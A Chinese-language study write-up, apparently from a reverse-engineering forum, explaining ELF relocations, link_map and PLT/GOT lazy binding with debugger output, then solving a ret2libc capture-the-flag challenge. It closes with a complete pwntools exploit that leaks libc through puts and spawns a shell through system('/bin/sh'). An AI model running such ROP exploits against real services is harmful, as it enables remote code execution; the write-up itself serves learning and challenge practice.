puts@GLIBC_2.2.5 + 0 0000000000004010 0000000600000007 R_X86_64_JUMP_SLOT 0000000000000000 strlen@GLIBC_2.2.5 + 0 0000000000004018 0000000700000007 R_X86_64_JUMP_SLOT 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 0000000000004020 0000000800000007 R_X86_64_JUMP_SLOT 0000000000000000 setbuf@GLIBC_2.2.5 + 0 0000000000004028 0000000900000007 R_X86_64_JUMP_SLOT 0000000000000000 printf@GLIBC_2.2.5 + 0 0000000000004030 0000000c00000007 R_X86_64_JUMP_SLOT 0000000000000000 rc4_init + 0 0000000000004038 0000001200000007 R_X86_64_JUMP_SLOT 0000000000000000 rc4_crypt + 0
偏移量,就是在静态elf中的虚拟地址,
信息:高4字节表示 在动态符号表(.dynsym)中的位置的偏移, 低4字节表示 类型后面我们会讲常见的几种重定位类型
现在我们先讲一下这个加数一般会用在,R_X86_64_RELATIVE这种类型的情况中.
前面我们讲到的.init_array和.fini_array等等,不需要查找符号表,而是直接加载基地址修正一个本地elf的地址.这种情况一般出现在本地PIE的时候,一般加载到内存的时候地址是
每次随机变化的基础地址+偏移(elf静态下的虚拟地址), 我们就把这个偏移作为加数.因为函数必须在动态链接的时候确定位置
这种函数可能存在与 .init_array等位置,也可能存在于.data的位置
但是如果是非PIE,就不会出现这种情况,因为里面就直接存的地址了
现在我们再讲讲rela的各种类型
- R_X86_64_RELATIVE
前面已经说过了某个位置需要保存“当前 ELF 内部某个地址”,而这个地址可以通过当前 ELF 加载基址 + addend直接算出来.所以当一个全局变量等于另一个全局变量的地址的时候也会用这个.不过非PIE的话就像上面说的就直接用地址了 - R_X86_64_64
一般是某个位置需要保存一个“符号的绝对运行时地址”
其实就是是会出现在.init_array,.fini_array,或者.data里面的函数地址,或者是别的外部库里面的全局变量的地址.比如
extern int lib_global_counter; int *p = &lib_global_counter;
但是非PIE就不是专业的了,这个我们稍后讲解
3. R_X86_64_GLOB_DAT
一般用于给got表写入某个外部全局符号的真实运行地址,常见的比如直接调用外部某个全局变量之类的
4. R_X86_64_JUMP_SLOT
一般在.rela.plt,用于调用函数的延迟绑定操作,具体后续会讲解
5. R_X86_64_COPY
R_X86_64_COPY 通常出现在非 PIE / ET_EXEC 主程序直接引用共享库中的全局数据对象时。链接器会在主程序的 .bss/.data 中为该外部数据对象分配一份空间,动态链接器启动时把共享库中该对象的初始内容复制到主程序这块空间。之后该符号的引用通常绑定到主程序中的副本。
link_map
link_map
>struct link_map {
ElfW(Addr) l_addr; /* 文件虚拟地址和内存地址之间的差值 */
char *l_name; /* 对象路径名 */
ElfW(Dyn) *l_ld; /* 动态段 .dynamic / PT_DYNAMIC */
struct link_map *l_next;
struct link_map *l_prev; /* 已加载对象链表 */
};这里
参考这里
可以看到其实 link_map是一个双向链表
l_name如果指向的是运行的主程序,比如现在就是一个空的链表
在这个进程中比如librc4demo.so他也会有一个linkmap,还有动态链接器的so文件
并且里面还有动态段的地址
还有
l_addr表示:运行时地址 = ELF 文件中的虚拟地址 + l_addr.其实可以视作内存的基地址这里.
其他的就是两个结构体指针分别指向上一个被加载的link_map和下一个被加载的link_map
延迟绑定
在函数内部使用 call 调用某个外部的函数(应该是函数地址)的时候.一般会使用.plt.sec 结合.plt 调用 然后在.rela.plt里面寻找具体是哪个
先看.plt.sec
~/Study/binbinbin/pwn/6month/ret2libc (1)/test objdump -d -j .plt.sec ./main_rc4 ✔ 20:45:17 ./main_rc4: 文件格式 elf64-x86-64 Disassembly of section .plt.sec: 00000000000010c0 <putchar@plt>: 10c0: endbr64 10c4: jmp QWORD PTR [rip+0x2f36] # 4000 <putchar@GLIBC_2.2.5> 10ca: nop WORD PTR [rax+rax*1+0x0] 00000000000010d0 <puts@plt>: 10d0: endbr64 10d4: jmp QWORD PTR [rip+0x2f2e] # 4008 <puts@GLIBC_2.2.5> 10da: nop WORD PTR [rax+rax*1+0x0] 00000000000010e0 <strlen@plt>: 10e0: endbr64 10e4: jmp QWORD PTR [rip+0x2f26] # 4010 <strlen@GLIBC_2.2.5> 10ea: nop WORD PTR [rax+rax*1+0x0] 00000000000010f0 <__stack_chk_fail@plt>: 10f0: endbr64 10f4: jmp QWORD PTR [rip+0x2f1e] # 4018 <__stack_chk_fail@GLIBC_2.4> 10fa: nop WORD PTR [rax+rax*1+0x0] 0000000000001100 <setbuf@plt>: 1100: endbr64 1104: jmp QWORD PTR [rip+0x2f16] # 4020 <setbuf@GLIBC_2.2.5> 110a: nop WORD PTR [rax+rax*1+0x0] 0000000000001110 <printf@plt>: 1110: endbr64 1114: jmp QWORD PTR [rip+0x2f0e] # 4028 <printf@GLIBC_2.2.5> 111a: nop WORD PTR [rax+rax*1+0x0] 0000000000001120 <rc4_init@plt>: 1120: endbr64 1124: jmp QWORD PTR [rip+0x2f06] # 4030 <rc4_init@Base> 112a: nop WORD PTR [rax+rax*1+0x0] 0000000000001130 <rc4_crypt@plt>: 1130: endbr64 1134: jmp QWORD PTR [rip+0x2efe] # 4038 <rc4_crypt@Base> 113a: nop WORD PTR [rax+rax*1+0x0]
比如我们看puts这里,jmp QWORD PTR [rip+0x2f2e]这里jmp的这个rip+0x2f2e 其实是 got.plt 的地址,里面内存的内容在没有第一次调用前存储的是到.plt的
~/Study/binbinbin/pwn/6month/ret2libc (1)/test objdump -d -j .plt ./main_rc4 ✔ 20:45:27 ./main_rc4: 文件格式 elf64-x86-64 Disassembly of section .plt: 0000000000001020 <.plt>: 1020: push QWORD PTR [rip+0x2fca] # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 1026: jmp QWORD PTR [rip+0x2fcc] # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 102c: nop DWORD PTR [rax+0x0] 1030: endbr64 1034: push 0x0 1039: jmp 1020 <_init+0x20> 103e: xchg ax,ax 1040: endbr64 1044: push 0x1 1049: jmp 1020 <_init+0x20> 104e: xchg ax,ax 1050: endbr64 1054: push 0x2 1059: jmp 1020 <_init+0x20> 105e: xchg ax,ax 1060: endbr64 1064: push 0x3 1069: jmp 1020 <_init+0x20> 106e: xchg ax,ax 1070: endbr64 1074: push 0x4 1079: jmp 1020 <_init+0x20> 107e: xchg ax,ax 1080: endbr64 1084: push 0x5 1089: jmp 1020 <_init+0x20> 108e: xchg ax,ax 1090: endbr64 1094: push 0x6 1099: jmp 1020 <_init+0x20> 109e: xchg ax,ax 10a0: endbr64 10a4: push 0x7 10a9: jmp 1020 <_init+0x20> 10ae: xchg ax,ax
比如puts这里其实是到plt的1040这个偏移的位置
1040: endbr64
1044: push 0x1 1049: jmp 1020 <_init+0x20> 104e: xchg ax,ax
push 0x1其实 是rela.plt 这个表的哪一行是 puts
重定位节 '.rela.plt' at offset 0x8f8 contains 8 entries: 偏移量 信息 类型 符号值 符号名称 + 加数 000000004000 000100000007 R_X86_64_JUMP_SLO 0000000000000000 putchar@GLIBC_2.2.5 + 0 000000004008 000500000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000004010 000600000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0 000000004018 000700000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 000000004020 000800000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0 000000004028 000900000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000004030 000c00000007 R_X86_64_JUMP_SLO 0000000000000000 rc4_init + 0 000000004038 001200000007 R_X86_64_JUMP_SLO 0000000000000000 rc4_crypt + 0
明显这里 第二行是puts,所以是0x1,push后又jump到 .plt的开始
0000000000001020 <.plt>:
1020: push QWORD PTR [rip+0x2fca] # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 1026: jmp QWORD PTR [rip+0x2fcc] # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 102c: nop DWORD PTR [rax+0x0]
把动态了链接的link_map信息压入栈中之后再jmp到动态链接器的resolver.动态链接器拿到了以下信息
link_map:当前 ELF 对象的信息,也就是 main_rc4 的动态链接上下文
relocation index:0x1,表示 .rela.plt 第 1 项(0开头)
之后`
- 根据 link_map 找到 main_rc4 的 .dynamic
- 从 .dynamic 找到 JMPREL,也就是 .rela.plt 起点
- 根据 relocation index = 1 找到 .rela.plt[1]
- 读取这一项:
offset = 0x4008
type = R_X86_64_JUMP_SLOT
symbol index = 5
symbol name = puts - 通过 .dynsym[5] 和 .dynstr 得到符号名 puts
- 根据版本信息确认需要 puts@GLIBC_2.2.5
- 在 libc.so.6 的 .dynsym 里查找 puts 的定义
- 算出 libc 中 puts 的真实地址
- 把真实地址写入 0x4008
- 跳转到 puts 执行
我们以setbuf做一个示例
pwndbg> x/3i $rip => 0x555555555100 <setbuf@plt>: endbr64 0x555555555104 <setbuf@plt+4>: jmp QWORD PTR [rip+0x2f16] # 0x555555558020 <setbuf@got[plt]> 0x55555555510a <setbuf@plt+10>: nop WORD PTR [rax+rax*1+0x0] pwndbg> x/3i 0x555555558020 0x555555558020 <setbuf@got[plt]>: jo 0x555555558072 0x555555558022 <setbuf@got[plt]+2>: push rbp 0x555555558023 <setbuf@got[plt]+3>: push rbp pwndbg> x/3i *0x555555558020 0x55555070: Cannot access memory at address 0x55555070 pwndbg> x/3i 0x555555558020 0x555555558020 <setbuf@got[plt]>: jo 0x555555558072 0x555555558022 <setbuf@got[plt]+2>: push rbp 0x555555558023 <setbuf@got[plt]+3>: push rbp pwndbg> x/gx 0x555555558020 0x555555558020 <setbuf@got[plt]>: 0x0000555555555070 pwndbg> x/4i 0x0000555555555070 0x555555555070: endbr64 0x555555555074: push 0x4 0x555555555079: jmp 0x555555555020 0x55555555507e: xchg ax,ax pwndbg>
这里我们可以发现.这个setbuf还没有被调用,所以我们先从call进入了plt.sec
不过0x555555558020 setbuf@got[plt]: 0x0000555555555070此时这里的got.plt里面存放的是plt里面的.之后我们再跳转
x/4g $rsp 0x7fffffffd2b0: 0x0000000000000004 0x00005555555552ac 0x7fffffffd2c0: 0x0000000000000000 0x0000000000000000
这里可以发现我们这里0004已经被压入栈,之后Link_map也会被压入栈我们可以在这里got.plt设置一个watch
pwndbg> c Continuing. Hardware watchpoint 3: *(void **)0x555555558020 Old value = (void *) 0x555555555070 New value = (void *) 0x7ffff7c8f750 <setbuf>
更改的时候,可以复发性.这里内存已经改成 so里面真正的函数了.
另外还有一个叫做plt.got的需要做出区分,有时候一些外部调用的函数,即使是正常使用call这种形式调用的.但是他需要在程序启动的时候使用到所以一来就要确认地址调用,所以这里就直接在动态链接器 启动的时候就和普通调用变量一样把地址放got表了
尝试完成一个pwn
这个是一个retl2ibc.
这里给了一个gadget
.text:0000000000401196 000 endbr64 ; Terminate an Indirect Branch in 64-bit Mode .text:000000000040119A 000 push rbp .text:000000000040119B 008 mov rbp, rsp .text:000000000040119E 008 pop rdi .text:000000000040119F 000 retn ; Return Near from Procedure .text:000000000040119F gadget endp
可以把他作为一个跳板我们可以用它来 给一些需要传入参数的函数用rdi传入参数.并且很轻易就retn回去了.
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Welcome to Ret2libc!");
vuln();
puts("Bye!");
return 0;
}main函数如上,这里还经过了vuln.
text:00000000004011EA ; __unwind {
.text:00000000004011EA 000 endbr64 ; Terminate an Indirect Branch in 64-bit Mode
.text:00000000004011EE 000 push rbp
.text:00000000004011EF 008 mov rbp, rsp
.text:00000000004011F2 008 sub rsp, 40h ; Integer Subtraction
.text:00000000004011F6 048 lea rax, s ; Load Effective Address
.text:00000000004011FD 048 mov rdi, rax ; s
.text:0000000000401200 048 call _puts ; Call Procedure
.text:0000000000401205 048 mov rax, cs:stdout@GLIBC_2_2_5
.text:000000000040120C 048 mov rdi, rax ; stream
.text:000000000040120F 048 call _fflush ; Call Procedure
.text:0000000000401214 048 lea rax, [rbp+buf] ; Load Effective Address
.text:0000000000401218 048 mov edx, 200h ; nbytes
.text:000000000040121D 048 mov rsi, rax ; buf
.text:0000000000401220 048 mov edi, 0 ; fd
.text:0000000000401225 048 call _read ; Call Procedure
.text:000000000040122A 048 nop ; No Operation
.text:000000000040122B 048 leave ; High Level Procedure Exit
.text:000000000040122C 000 retn ; Return Near from Procedure
.text:000000000040122C ; } // starts at 4011EA可以发现这里buf只有0x40,但是read能输入0x200所以能轻易构建一个缓冲区溢出,现在我们来尝试构建第一个rop链接,来让我们获取运行时的libc.so.6的基址.
结构如下
payload1 = flat( b'A' * 72, pop_rdi,//是pop rdi这个代码的地址,那么就会pop 下面的 这个got.plt[puts] elf.got['puts'], //got.plt里面会存put的实际地址 elf.plt['puts'],//用puts输出 上面的内容,其实这里调用的是plt.sec elf.sym['vuln'], )
之后通过 puts的地址减去puts在libc的偏移获得内存中libc的基址.之后再libc里面找/bin/sh的字符串塞进rdi .然后再跳转到system的位置直接执行
from pwn import *
import sys
context.binary = './pwn'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
ld='./ld-linux-x86-64.so.2'
OFFEST=0x40+8
POP_RDI=0x40119e
RET=0x40119f
if len(sys.argv)==3:
p=remote(sys.argv[1],int(sys.argv[2]))
else:
p=process([ld,'--library-path', '.', './pwn'])
p.recvuntil(b'Input something:')
p.recvline()
payload=flat(
b'a'*OFFEST,
POP_RDI,
elf.got['puts'],
elf.plt['puts'],
elf.sym['vuln'],
)
p.send(payload)
leak_line=p.recvline().rstrip(b'\n')
puts_leak = u64(leak_line.ljust(8, b'\x00'))
libc_base = puts_leak - libc.sym['puts']
log.info('puts leak: ' + hex(puts_leak))
log.info('libc base: ' + hex(libc_base))
system=libc_base + libc.sym['system']
binsh=libc_base + next(libc.search(b'/bin/sh'))
p.recvuntil(b'Input something:')
p.recvline()
payload1=flat(
b'a'*OFFEST,
RET,
POP_RDI,
binsh,
system,
)
p.send(payload1)
p.interactive()[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!